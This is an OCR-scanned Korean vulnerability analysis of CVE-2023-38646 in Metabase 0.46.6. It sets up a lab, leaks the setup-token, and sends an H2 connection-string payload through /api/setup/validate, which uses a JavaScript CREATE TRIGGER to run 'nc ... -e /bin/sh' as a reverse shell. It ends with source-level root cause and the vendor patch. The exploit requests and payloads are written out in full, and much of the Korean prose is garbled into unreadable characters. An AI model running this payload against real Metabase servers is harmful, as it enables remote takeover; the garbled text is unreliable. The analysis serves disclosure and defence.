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Ubuntu 20.04.6 LTS focal
Docker version 24.0.5, build ced0996
Metabase:v0.46.6
Alpine Linux v3.18

(192.168.102.65)

o| s X}
Ubuntu 20.04.6 LTS focal
Burp Suite Community Edition v2023.7.1
2%}
Ncat: Version 7.80
(92.168.102.54)
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B o H2E
Step 1. 274 4

) m&jaF PC o] CVE-2023-38646 FHeFHo] A s}= Metabase 0.46.6 HA O] AHE FL=3I}

$ docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
CELVE  8M: detach ZEE BRI EE docker & AMIA|F = SM

-p &4 local ZE2} docker Of|A HdY ZEES X|Hdt= S

root@test-virtual-machine:~# docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
Unable to find image 'metabase/metabase:v0.46.6' locally
Pulling from metabase/metabase
31e352740F53: Pull complete
8aadc9aaa732: Pull complete
16832ade6690: Pull complete

244Ff7477514: Pull complete

b35f@3987142: Pull complete

de28ea45b691: Pull complete

Digest: sha256:e35de273692f7d95c54225abbd837a7b594e44ad42a47d8ae750293825215273
Status: Downloaded newer image for metabase/metabase:v0.46.6
7f5f45bd1023e1c30e779453007fa565f30370c009dafb61392b99e47004802e

1% 3. Docker image & &3 84 15

2) Metabase A% 9
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token #= 2T 5 Ut
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/api/session/properties 7 =24 Z7|8to]] AT setup-

Request Response

o =
5| N
n n

Raw Hex
|1 GET /api/session/properties [HTTP/1.1
2Host: 192.168.102.65:3000
3 Cache—Control: max—age=0
4 Upgrade—-|nsecure—Requests: 1
5User-Agent: Mozilla/5.0
6 Accept :
text/html ,application/xhtml4+xml application/xml;q=0.9, image/avif, image/webp, image/apng,
*/*;0=0.8,appl ication/signed-exchange:v=b3:9=0.7
7 Accept-Encoding: gzip, deflate
8 Accept-Language: ko—KR,ko:;q=0.9,en-US;q=0.8,en:;q=0.7
9 Cookie: _ga=GA1.1.238272394.1691048558; metabase.DEV|CE=
2a00a218-f4c1-4a9b-8d0e-985ee5d99e0b
10 | f-Modified-Since: Mon, 14 Aug 2023 05:44:30 GMT
11 Connection: close
Request | Response m= n
_Pretty  Raw  Hex n
"lsetup—token" : "04d96839-9289-462b-af fe-b3ebcb0aidh3” |
"application-colors":{
|3
"enable-audit-app?": false,
"anon-tracking-enabled" : false,
"version-info-last-checked" :"2023-08-11T706:15:00.306147Z",

J94. SHF W 27138 ES &
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3) FAAE /api/setup/validate NEZQIEO] HIEFH & H2 JDBC CI*2 Tl Metabase AH 9]
Reverse Shell 2 AAAste] AH] AHS =T 4= Qi)

Request  Response - =|:|
Pretty Raw Hex \n =

I[POST /api/setup/validate HTTP/ 1.1}
2 Host: 192.168.102.54:3000

3 Accept: application/json

4 Content-Type: application/json

5 User—Agent: Mozilla/5.0

b Connection: close

7 Content-Length: 520

8
94
10 "token":"04d96839-9289-462b-af fe-b3ebchb0a19b3" ,
11 "details":{
12 "Is_on_demand":false,
13 "is_full_sync":false,
14 "is_sample":false,
15 "cache_tt!":null,
16 "refingerprint":false,
17 "auto_run_queries":true,
18 "schedules":{
19 I
20 "details":{
2-] IIdeI :
"mem: test . AUTO_RECONNEGT =1 RUEWW, CREATE TRIGGER EQSTLAB BEFORE SELEGT ON [NFORMAT ION_
SCHEMA . TABLES AS $3//javascriptiinjava.lang.Runtime.getRuntime().exec( 'nc 182.168.102
.54 1234 —e [bin/sh' )#n$$——=f; ",
22 "advanced-options"true,
23 "ss|":true
24 I
25 "name":"test",
26 "engine":"n2"
27
28 1
Request | Response w. n
Pretty  Raw  Hex Render = \n =
174
"message":

"Error creating or initializing trigger #'EQSTLAB#" object, class #". .source..W", cause:
#"org.h2.message.DbException: Syntax error in SOL statement #"#"//javascr iptififff000a]av
a.lang.Runtime.getRuntime().exec( 'nc 192.168.102.54 1234 —e /bin/sh' )#H000a %" [42000
-212]%": see root cause for details: SQGL statement :#nSET AUTO_RECONNECT TRUE [90043-212]

—
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:~$ ncat -lvp 1234
: Version 7.80 ( https://nmap.org/ncat )
: Listening on :::1234
: Listening on 0.0.0.0:1234
: Connection from 192.168.102.65.
: Connection from 192.168.102.65:39047.

19 6. Reverse Shell & &3t Aw9 4 =
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Step 2) AAl B4

/setup/validate EEQJIE+= Metabase ] Al T2 Aol gle AHlolA DB 27 A=
sl 9ol dd HAEE ot g gt o] ARE HERo dHdt HF
%7 B ASEA] &2 AFHEAT} setup—token TroZ HELE 4 Qo %
M=Z-& DB 4 Aol /database/validate API7F AF-E|™, o] W+= check—superuser & 5%t @St
Aol EAgtet,

(api/defendpoint-schema POST "/validate"
"Validate that we can connect to a database given a set of details.”
HES {:keys [engine details]} :details, token :token} :body
token SetupToken
engine DBEngineString
engine keyword engine
error-or-nil (api.database/test-database-connection engine details

error-or-nil DB test-connection

snowplow/track-event! ::snowplow/database-connection-failed

{:database engine, :source :setup}
:status 4ee
:body error-or-nil

(api/defendpoint-schema POST
"Validate that we can connect to a database given a set of details

/validate"

:as {:keys [engine details]} :details} :body

engine DBEngineString

details su/Map

api/check-superuser

details-or-error [(test-connection-details engine details
:valid (not (false? (:valid details-or-error)) )

19 7. validate ol A 9] @St AF o]

> setup—token: "[RO A %7] A4 wAA DB QA #¢] Al AGEE AA token o]m], o] R F Foli= AA|Hofo g
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setup—token 2 /api/session/properties oA 5T 4 ow FE53JF setup-

’

RS 7HA D DB 584 AAPE 7St WeEbA setup—token E2 AZE

T e Ffde FEE & ] "2l Hzx AR & A AAslof .

(defsetting |setup-token
"A token used to signify that an instance has permissions to create the
This is created upon the first launch of Metabase

initial User.

by the first instance; once used, it is cleared out, never to be used again."
:visibility :public
:setter :none)

14 8. setup—token & Metabase AX] A] 7|2Z 02 public 02 AAEH &

| setup-token: "04d96839-9289-462b-affe-b3e5ch0a19bh3”
application-colors: {}
enable-audit-app?: false
anon-tracking-enabled: false
version-info-last-checked: "2023-08-10T06:15:00.4619162"
application-Llogo-url: "app/assets/img/logo.svg"
application-favicon-url: "app/assets/img/favicon.ico"

% 9. /api/session/properties 9|4 k=EE+E setup—token
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5, dlole 42 A4e 1% TG “db” e

"token": "04d96839-9289-462b-affe-b3e5cb0alob3",
"details": {

"is on_demand":

"is full sync":

"is sample":

"cache_ttl":

"refingerprint":

"auto_run_queries":

"schedules": {},

"details": {

"db": "mem:test;AUTO_RECONNECT=TRUE\\; CREATE TRIGGER EQSTLAB BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('nc 192.168.0.18 1234 -e /bin/sh')
$$--=x;",

"advanced-options":

"ssl":

}J
"name": "test",
"engine": "h2"

19 10. RCE &4& 99 AH8H HolzE

Metabase oA Z|¥st= H2 & 42 £4F€el Java 2= SQL & F4E & 3t 474 A2

EAgs 2459 TRIGGER” &= ALIAS*E A4St Java WIAEE 25T & T

7 TRIGGER: DML 944HSELECT, INSERT, UPDATE, DELETE)©] B8t o A5 02 Ags= 358 4Asl7] 98] A3t

8 ALIAS: HolE Ti= Y o] JA2 Rojshz g o|F(#A) o2 F2 HE st WEY] 15 e
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e 2 DB Ofil E(INSERT, UPDATE 5)0f 2S5t | EdE Folst sQL H2| HOA Java
D o HME = HAME &=
°E DB O[HIE HIM A| XI5 = YA|ROE &=
CREATE TRIGGER ... BEFORE SELECT ON
Ol Al CREATE ALIAS MY_FUNC FOR ...;
INFORMATION_SCHEMA.TABLES ...;

E 1. Jo]2= Y TRIGGER ¢} ALIAS 9] AM854

Holz o] diet A9 o

mt2tojE o3
mem:test; H2 GIO|HHO|AE 22| ZE2 A3
AUTO_RECONNECT=TRUE H2 JDBC ¢1Z Z2Xtg &M
WA JSON LHOfIA ;" BXHE Escape X2
CREATE TRIGGER EQSTLAB BEFORE "EQSTLAB" O|2}= O|29| EZ|AHE MAMsIa,
SELECT ON INFORMATION_SCHEMA.TABLES O A{ SELECT 22 A&s}7]
INFORMATION_SCHEMA TABLES Mo £ AM(ava Method ZE)2 =S 249
AS OI-.- Java ZEE Folg £+ A2H, $$ LR U=
AS $$//.... $$--=xW
L 82 Escape &.

Java @] Runtime Z22{AE AI2310] Q8 TZMAS Al
07| M& nc (Netcat) =715 AFB3IO 192.168.0.18 F22
1234 LEZ Reverse Shell &4

E 2 HolzE B4 Y&

java.lang.Runtime.getRuntime().exec('nc
192.168.0.18 1234 -e /bin/sh’)
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2 = Java ¢} Javascript, Ruby 5& o|g38le] 348 $3d 4 k. H2 9 AAFE=E HHA
isJavaxScriptSource WA=} £}, o] =
I3 H, isJavascriptSourceQoll Tiote] true & WHFItCE

boolean isJavaxScriptSource(String source) {

return isJavascriptSource(source)| || isRubySource(source);

19 11. connection—string source 2] 10| &2l

isJavascriptSource HIA == G source 7} //javascript 2 Al&Fol=A] QIS

boolean isJavascriptSource(String source) {
return source.startsWith/(prefix:"//javascript”);

a9 12. prefix & 539l source 7} "//javascript” 2 A|&}op=A] EQl

0]% T Eok= getCompiledScript & Fofl eval)2 o|-8sto] EgjA FEE Ayt

Trigger loadFromSource() {
SourceCompiler compiler = database.getCompiler();
compiler
String fullClassName = Constants.USER_PACKAGE + ".trigger." +
getName();
compiler.setSource(fullClassName, triggerSource);
try {
if (SourceCompiler.isJavaxScriptSource(triggerSource)) {
return (Trigger) compiler.getCompiledScript
fullClassName).eval();
1
Method m = compiler.getMethod(fullClassName);
if (m.getParameterTypes().length > @
throw new IllegalStateException(s:"No parameters
are allowed for a trigger");

return (Trigger) m.invoke(obj:

9 13. “isJavaxScriptSource” true §F3F A] getCompiledScript T&
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H2 o= 7123%t2=2 Graal]SScriptEngine 2] allowHostAccess, allowHostClassLookup true =
AdAs]o] Qlo] Javascript @ Java TEFES o]&etth o2 <F AT HHE FAst= Java

HAEE Javascript 2 $&8 4 A Ho}

CompiledScript getCompiledScript(String packageAndClassName)
ScriptException {
CompiledScript compiledScript = compiledScripts.get
packageAndClassName);
if (compiledScript ==
String source = sources.get(packageAndClassName);
String lang;

if (isJavascriptSource(source)) { SCHptsource7PJS§E
lang = "javascript”; ZHM E| 7401 X| EHO

} else if (isRubySource(source)) {
lang = "ruby";

} else {
throw new IllegalStateException("Unknown language for
source);

+

'jsEngine’ & AM-&E5t0 H0|2E 4%
ScriptEngine jsEngine = new ScriptEngineManager().
getEngineByName(lang);
if (jsEngine.getClass().getName().equals(
anObject:"com.oracle.truffle.js.scriptengine.
GraalJlSScriptEngine™)) {
Bindings bindings = jsEngine.getBindings(ScriptContext.
ENGINE_SCOPE);
bindings.put(name:"polyglot.js.allowHostAccess",
value: )3
bindings.put(name:"polyglot.js.allowHostClassLookup”,
Predicate<String>) s Nk
}
compiledScript = ((Compilable) jsEngine).compile(source);
compiledScripts.put(packageAndClassName, compiledScript);

return compiledScript;

% 14. JavaScript ZE WA Java HINE &F 75
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A

TRIGGER += “ABC” #}= Java #IAEE T&31M, Runtime.getRuntime().exec(cmd)E AHg-5t]
OS W& APk spAst Mzt Aule] JDK 7k AA=)o] 9A) oot H2 7} Javac & #& 5
o] AntdE #qT o gloh. wWEbA, JDKE ARESHA] @ $-3]5te] 3-A43517] 98l Javascript&
AR-gsfiof gt

P

_m

Request | Response el n
Pretty Raw Hex \n =
20 "details":{

21 R Java HIME

"mem:test: AUTO_RECONNECT=TRUEHH®  CREATE TRIGGER EQSTLAB BEFORE SELECT OM INF
ORMAT | ON_SCHEMA . TABLES AS $$Str|ng abc(String cmd) {java.lang.Runtime.getRu
ntime().exec(cmd) }|CALL ABCf 'nc 192.168.102.54 1234 —-e /bin/sh')3$$——=aftl; "

22 "advanced-options":true,
23 "ssl":true
m =
Request = Response n
Pretty Raw Hex Render \n =

I
174 \nessage" Java O 2B kA
"Error creating or initializing trigger W'EQSTLABW" object, class W"..source. .#
" cause: #'org.h?.message.DbException: 10 Exception: #'#"java.io.|OException:
|Cannot run program #W'W'W'w" javach "W "w'%": error=2, No such file or dlrectoryW”Wl
" [90028-212|#": see root cause for details: SQL statement:WnSET AUTO_RECONNECT
TRUE [90043-212]"

1
]

% 15. Java A9 A
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th21F o] Javascript & ©]-851%] Java WAE & Al A4
Request Response - n
Pretty Raw Hex \n =
20 "details":{ . -
o1 et Javascript £ Java JIME B &
"mem:test; AUTO_RECONNECT=TRUEW® : CREATE TRIGGER EQSTLAB BEFORE SELECT ON |NF
ORMAT | ON_SCHEMA . TABLES AS $$//javascriptﬁnjava.Iang.Huntime.getHuntime()lex

ec('nc 192.168.102.54 1234 —e /bin/sh’ JWn3I—=xWW. ",

27 "advanced-options":true,
23 "ssl"itrue
m =
Request = Response n
Pretty Raw Hex Render =1 \n =
=1 =1
T4 €3

174
"message":

"Error creating or initializing trigger W'EQSTLAB#" object, class #"..source. .#
", cause: W'org.h2.message.DbException: Syntax error in SQL statement ®'#"//jav
ascript#W0o00ajava. lang.Puntime.getRuntime() .exec( 'nc 192.168.102.54 1234 -e /
bin/sh')W000a"#" [42000-212]%": see root cause for details: SQL statement :#

nSET AUTO_RECONNECT TRUE [90043-212]"

—

19 16. Javascript € T 3 ¥4 4
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WolZolH “Wagh—=Wweh 2ol BAL BAFA gew oL pe eRst EUw
/src/metabase/driver/h2.clj ] “connection—string—>filetoption” <=4 connection—string <]

Ho|eE ooz 2R oA o7t TAYsty] molt.
w =

Request Response

Pretty Raw Hex \n =
20 "details":{
21 "dp":

"mem:test:AUTO_RECONNECT=TRUEWW: CREATE TRIGGER EQSTLAB BEFORE SELECT ON [INF
ORMAT | ON_SCHEMA . TABLES AS $$//javascriptiinjava.lang.Runtime.getRuntime().ex
ec('nc 192.168.102.54 1234 -e f"bim"sh'lwn-$$ww2|”,

22 "advanced-options":true,
23 "ssl":true
24 I,

Request | Response

Pretty Raw Hex = \n =

12 Content-Type: application/|son:charset=utf-8
13 Expires: Tue, 03 Jul 2001 06:00:00 GMT

14 Content-Length: 51

15 Server: Jetty(11.0.14)

1

1

b
71 v
"message": "Vector arg to map conj must be a pair"

1
J

a9 17. 71-8k Aol BA ot o7 T4

fT
AL
fu

X,

A HH (str/split connection—string #';+")+= Y% connection—string & A|U|E=
2 Bty 293 (str/split option #'=")+&= ZF F4E oA = 7|52 EEste] 7|9}
a =]

1o
N,
i
o i

=
1o
3
o f

4 =
2 SQL Syntax ofl@7h WASH) o] “3ATR--=p'e} g Aoz FATR
(-)Aelstel A1-gk % YA SshE AHoR o

)
o

X

N

d

connection-string->file+options
"Explode a "connection-string’ like “file:my-db;OPTION=16@;0PTION_2=TRUE" to a pair

(connection-string->file+options \"file:my-crazy-db;OPTION=18@;0PTION_X=TRUE\")
-> [\"file:my-crazy-db\" {\"OPTION\" \"1@e@\", \"OPTION_X\" \"TRUE\"}]"
~String connection-string
:pre [(string? connection-string
file & options str/split connection-string
options into {} ( [option options]
(str/split option
file options]))

9 18. connection—string = £435t9 7] -4 w4
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Metabase Cloud & ©|&df AHAE 29 FolatH FFS ©A] S=th. sHAT A 325
749, Metabase &4 ERIA= OSS 0.46.6.4, Enterprise Edition 1.46.6.4 o]iFe] 4l
Hholu 2z o] HolE g2 dilskal ot

A fele AME® FA URL <) /api/setup/validate o4 %713 ¢t of 8 shelshe A}
Zlo] 7159k,
¥ { clj Pundoflgnﬂr derPcath var]}
- d ase given a set of details.”
:as {{{:keys [engine details]|} :details, token :token} :body}]
{token SetupToken
91gine DBEngineString}

engine (keyword engine)

error-or-nil (api.database/test-database-connection engine details)

error-or-nil
(snowplow/track-event! ::snowplow/database-connection-failed

{:database engine, :source :setup})
{:status 400
:body Prrnr—ar—nil} ))
¥ { clj Pundoflgnnr defPCﬂth var]}
: nt-schema POST "/validate'
that we can connect to a database given a set of details.”
{{:keys [engine details]} :details, token :token} :body}]
taPPn SetupToken
engine DBEngineString}
( setup/has-user-setup
(ex-info (tru "Instance already initialized")
{:status-code 400})))
engine (keyword engine)
error-or-nil (api.database/test-database-connection engine details)
error-or-nil
(snowplow/track-event! ::snowplow/database-connection-failed

19 19, 27)3 92 OB A=
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ESH 71EC /Y A AFHE AREE 4 e wAE] oY " iz‘lo] x7]'ﬂ E}.
H2 dloJeiHjol~ A A] connection strings °A ZE=E A
A 27]9kE astH A FHE Ado] 7hsgt INI

,_]
ol
1o
©
)
N
N

defn- malicious-property-value

(apply some-fn (map [marker] (fn [s] (str/includes? s marker))
bad-markers))

efmethod driver/can-connect? :h2
[driver {:keys [db] :as details}]
{ *allow-testing-h2-connections*
(ex-info (tru "HZ is not
string? db
[connection-str (cond-> db
not (str/includes? db "h2:")) (str/replace-first
not (str/includes? db ° :")) (str/replace-first
connection-info Eurg.hz.englne.Cannectlunlnfu. connection-str
properties (get-field connection-info “prop™)
bad-props (into keep (fn [[k v]] ( malicious-property-value v
properties)]
(seq bad-props)
ex-info "Maliciou ted” {:keys (keys bad-props)})))

(contains? properties ' )
ex-info "INIT not al d" {:keys ["INIT"1})))))
(sql- Jdnc conn/can-connect? driver dPtalL ))

a9 20. AHEA AEE 2E
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Metabase + 0.46.6.4 HARE €7 F= AP FAH| FoFgt H2 dolgHo|AE A YA
derh 7ls2 A2 fAH oy allow—testing—h2-connection Ad7Ao] false 2 % o]8lo]
At dlolel 7t E7Fssitt ShATE 7]Ee] H2 Ho[HWo|AE FItsiA AN Fd AT
HElolE Fok oJHs] FH&o] 7H5Sith. Metabase oA+ HoEE s ohE dHlolEHjolA=x

npo] 180l doe At it

ol o] E 71317 0.46.6 | G| 0| E{ Z=7}5}7| 0.46.6.4
ol B AEE FH7F =& Uk OFf ol F=7Hst U Al 2. O 0|5 EFMS A|RFE ZH| 7} £ 4 &L 77k Of2h ol 7St Al 2.
THIEX] ShorLie? S 1 4E HI0|HB| 0| A S 7HA| 1 SO0tE M L. THI A FLia? A5 1 4E HI0|HB| 0| A5 7k 1 =02 A 2.
™ L DN L
MySQL PostgreSQL SQL Server MySQL PostgreSQL SQL Server
L o stk b Lo D
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